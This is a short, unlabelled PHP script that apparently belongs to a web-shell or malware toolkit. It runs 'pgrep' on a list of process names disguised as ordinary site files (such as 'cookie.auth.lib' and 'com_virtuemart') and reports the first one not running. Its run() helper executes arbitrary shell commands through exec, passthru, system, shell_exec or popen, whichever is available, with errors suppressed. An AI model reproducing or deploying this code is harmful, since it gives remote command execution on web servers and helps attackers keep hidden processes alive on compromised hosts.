<?php   $files = ['Generator','facultyEN','pdf_pages','customer_lookup','config_site','FacPersonalPage','webdb_record_add','cookie_usage','index.initial','forumLib.class','functions_admin','ebank_nok','memberlist.bak','theme_blocks','default_comments','usergroup_18','offlinebar','phd_buttons','runwizardlog','confirmed','fonctions','helveticai','phdGoalsEN','function.news','cma_m_sold','cookie.auth.lib','get_attachment','blockedusers','contact_org','com_virtuemart']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; } 